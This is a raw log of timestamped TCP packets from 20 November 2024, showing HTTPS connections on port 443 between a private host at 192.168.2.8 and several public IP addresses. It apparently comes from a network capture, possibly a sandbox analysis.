Nov 20, 2024 13:27:54.270414114 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.270438910 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.270488977 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.270503998 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.270545959 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.270561934 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.271017075 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.271034956 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.271099091 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.271111965 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.271137953 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.271222115 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.271981001 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.272010088 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.272068977 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.272083044 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.272130013 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.272142887 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.272166014 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.272213936 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.272226095 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.272269964 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.272839069 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.272892952 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.272936106 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.272939920 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:54.272953987 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.272980928 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.278366089 CET	49750	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:54.278403997 CET	443	49750	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:59.329974890 CET	443	49730	142.250.185.164	192.168.2.8
Nov 20, 2024 13:27:59.330055952 CET	443	49730	142.250.185.164	192.168.2.8
Nov 20, 2024 13:27:59.330476999 CET	49730	443	192.168.2.8	142.250.185.164
Nov 20, 2024 13:27:59.373853922 CET	49730	443	192.168.2.8	142.250.185.164
Nov 20, 2024 13:27:59.373871088 CET	443	49730	142.250.185.164	192.168.2.8
Nov 20, 2024 13:28:09.144810915 CET	49812	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:28:09.144866943 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:09.145023108 CET	49812	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:28:09.145411968 CET	49812	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:28:09.145425081 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:09.907067060 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:09.907155991 CET	49812	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:28:09.909990072 CET	49812	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:28:09.910001040 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:09.910273075 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:09.917759895 CET	49812	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:28:09.959333897 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:10.227937937 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:10.227967024 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:10.227982998 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:10.228037119 CET	49812	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:28:10.228060007 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:10.228101969 CET	49812	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:28:10.228950977 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:10.229000092 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:10.229029894 CET	49812	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:28:10.229043961 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:10.229059935 CET	49812	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:28:10.229068995 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:10.229120970 CET	49812	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:28:10.231853008 CET	49812	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:28:10.231880903 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:10.231895924 CET	49812	443	192.168.2.8	4.245.163.56
Nov 20, 2024 13:28:10.231901884 CET	443	49812	4.245.163.56	192.168.2.8
Nov 20, 2024 13:28:28.784621000 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:28.784661055 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:28.784807920 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:28.785137892 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:28.785156012 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.461611986 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.461771965 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.464452028 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.464462996 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.464852095 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.477232933 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.519334078 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.579287052 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.579382896 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.579427004 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.579484940 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.579510927 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.579525948 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.579559088 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.671724081 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.671775103 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.671833992 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.671850920 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.671876907 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.671899080 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.673970938 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.674016953 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.674048901 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.674053907 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.674081087 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.674096107 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.760145903 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.760217905 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.760230064 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.760267019 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.760322094 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.760361910 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.760982037 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.761059046 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.761076927 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.761137962 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.762268066 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.762310982 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.762345076 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.762351990 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.762386084 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.762408018 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.763842106 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.763885021 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.763912916 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.763919115 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.763947010 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.763959885 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.849160910 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.849212885 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.849345922 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.849373102 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.849421024 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.849920034 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.849961042 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.849992990 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.849998951 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.850023031 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.850049019 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.850821018 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.850866079 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.850898027 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.850903034 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.850920916 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.850935936 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.851773024 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.851816893 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.851840973 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.851849079 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.851862907 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.851887941 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.852637053 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.852678061 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.852708101 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.852714062 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.852735996 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.852758884 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.853686094 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.853725910 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.853755951 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.853761911 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.853785038 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.853807926 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.854408979 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.854470015 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.854475021 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.854495049 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.854516029 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.854547024 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.854588032 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.854609013 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.854620934 CET	49813	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.854628086 CET	443	49813	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.900353909 CET	49814	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.900412083 CET	443	49814	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.900486946 CET	49814	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.901547909 CET	49815	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.901609898 CET	443	49815	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.901673079 CET	49815	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.902434111 CET	49816	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.902482986 CET	443	49816	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.902540922 CET	49816	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.902712107 CET	49814	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.902729034 CET	443	49814	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.904196978 CET	49817	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.904232979 CET	443	49817	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.904288054 CET	49817	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.904799938 CET	49818	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.904814005 CET	443	49818	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.904829979 CET	49817	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.904841900 CET	443	49817	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.904865026 CET	49818	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.904990911 CET	49818	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.905004025 CET	443	49818	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.905082941 CET	49815	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.905098915 CET	443	49815	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:29.905164003 CET	49816	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:29.905172110 CET	443	49816	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.546719074 CET	443	49814	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.547331095 CET	49814	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.547350883 CET	443	49814	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.547874928 CET	49814	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.547880888 CET	443	49814	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.550776958 CET	443	49818	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.551103115 CET	49818	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.551131010 CET	443	49818	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.551527977 CET	49818	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.551534891 CET	443	49818	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.563924074 CET	443	49815	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.564268112 CET	49815	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.564295053 CET	443	49815	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.564636946 CET	443	49816	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.564958096 CET	49815	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.564964056 CET	443	49815	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.565231085 CET	49816	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.565243006 CET	443	49816	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.567284107 CET	49816	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.567289114 CET	443	49816	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.576608896 CET	443	49817	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.579803944 CET	49817	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.579819918 CET	443	49817	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.580373049 CET	49817	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.580377102 CET	443	49817	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.649018049 CET	443	49814	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.649053097 CET	443	49814	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.649151087 CET	49814	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.649173975 CET	443	49814	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.649210930 CET	49814	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.649836063 CET	49814	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.649840117 CET	443	49814	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.649859905 CET	49814	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.650021076 CET	443	49814	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.650058985 CET	443	49814	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.650105953 CET	49814	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.652967930 CET	49819	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.653016090 CET	443	49819	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.653110027 CET	49819	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.653275013 CET	49819	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.653289080 CET	443	49819	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.653450966 CET	443	49818	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.653517008 CET	443	49818	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.653558969 CET	49818	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.653655052 CET	49818	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.653671980 CET	443	49818	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.653685093 CET	49818	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.653692007 CET	443	49818	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.655595064 CET	49820	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.655632973 CET	443	49820	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.655690908 CET	49820	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.655807018 CET	49820	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.655818939 CET	443	49820	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.667720079 CET	443	49815	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.667803049 CET	443	49815	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.667856932 CET	49815	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.668023109 CET	49815	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.668040037 CET	443	49815	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.668054104 CET	49815	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.668060064 CET	443	49815	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.669379950 CET	443	49816	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.669405937 CET	443	49816	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.669477940 CET	49816	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.669488907 CET	443	49816	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.669528961 CET	49816	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.669821978 CET	49816	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.669826031 CET	443	49816	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.669842958 CET	49816	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.669965029 CET	443	49816	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.669995070 CET	443	49816	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.670032978 CET	49816	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.671536922 CET	49821	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.671577930 CET	443	49821	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.671643019 CET	49821	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.671773911 CET	49821	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.671787977 CET	443	49821	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.672765017 CET	49822	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.672780037 CET	443	49822	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.672840118 CET	49822	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.672944069 CET	49822	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.672954082 CET	443	49822	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.683350086 CET	443	49817	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.683374882 CET	443	49817	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.683444977 CET	49817	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.683471918 CET	443	49817	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.683697939 CET	49817	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.683710098 CET	443	49817	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.683721066 CET	49817	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.683868885 CET	443	49817	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.683906078 CET	443	49817	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.683943987 CET	49817	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.685796022 CET	49823	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.685810089 CET	443	49823	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:30.685883999 CET	49823	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.685997009 CET	49823	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:30.686008930 CET	443	49823	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.302196980 CET	443	49820	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.302761078 CET	49820	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.302824974 CET	443	49820	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.303759098 CET	49820	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.303774118 CET	443	49820	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.325072050 CET	443	49819	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.325659037 CET	49819	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.325690985 CET	443	49819	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.326236010 CET	49819	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.326251030 CET	443	49819	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.335417032 CET	443	49823	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.335912943 CET	49823	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.335992098 CET	443	49823	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.336426020 CET	49823	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.336440086 CET	443	49823	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.340506077 CET	443	49821	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.340796947 CET	49821	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.340812922 CET	443	49821	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.341278076 CET	49821	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.341295004 CET	443	49821	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.346215010 CET	443	49822	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.346498013 CET	49822	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.346519947 CET	443	49822	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.346966028 CET	49822	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.346971035 CET	443	49822	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.415361881 CET	443	49820	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.415441036 CET	443	49820	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.415517092 CET	49820	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.415813923 CET	49820	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.415873051 CET	443	49820	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.415935993 CET	49820	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.415952921 CET	443	49820	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.420231104 CET	49824	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.420322895 CET	443	49824	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.420576096 CET	49824	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.420576096 CET	49824	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.420659065 CET	443	49824	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.436060905 CET	443	49819	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.436223030 CET	443	49819	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.436284065 CET	49819	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.436317921 CET	49819	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.436336040 CET	443	49819	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.436346054 CET	49819	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.436352015 CET	443	49819	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.440293074 CET	49825	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.440335035 CET	443	49825	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.440388918 CET	49825	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.440870047 CET	49825	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.440881014 CET	443	49825	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.450649023 CET	443	49823	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.450730085 CET	443	49823	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.450788021 CET	49823	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.451024055 CET	49823	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.451066971 CET	443	49823	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.451100111 CET	49823	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.451119900 CET	443	49823	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.455053091 CET	49826	443	192.168.2.8	13.107.246.45
